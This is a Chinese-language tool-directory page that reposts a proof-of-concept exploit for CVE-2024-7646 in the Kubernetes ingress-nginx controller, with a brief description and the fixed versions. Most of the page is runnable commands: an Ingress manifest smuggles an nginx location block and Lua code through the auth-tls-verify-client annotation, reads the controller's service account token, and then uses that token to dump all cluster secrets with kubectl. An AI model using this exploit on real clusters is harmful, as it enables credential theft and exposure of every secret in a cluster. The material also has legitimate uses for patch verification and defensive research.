Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-7646 — PoC CVE-2024-7646 | Kitploit
工具/GitHubGitHub/dovics/cve-2024-7646
容器安全漏洞分析漏洞利用Web安全云安全错误配置
GitHubdovics/cve-2024-7646

cve-2024-7646

PoC CVE-2024-7646

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-7646

描述

默认情况下,nginx.ingress.kubernetes.io/server-snippet 是禁用的,但由于此 CVE,nginx.ingress.kubernetes.io/auth-tls-verify-client 仍然可以插入自定义代码片段,甚至可包含 Lua 代码。

修复版本

ingress-nginx 控制器 v1.11.2 - 由 kubernetes/ingress-nginx#11719 和 kubernetes/ingress-nginx#11721 修复 ingress-nginx 控制器 v1.10.4 - 由 kubernetes/ingress-nginx#11718 和 kubernetes/ingress-nginx#11722 修复

PoC

需要拥有创建 ingress 的权限

root@kitploit:~
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF

在默认配置下,该凭证可以访问集群中的所有 secret。

root@kitploit:~
TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml
下载工具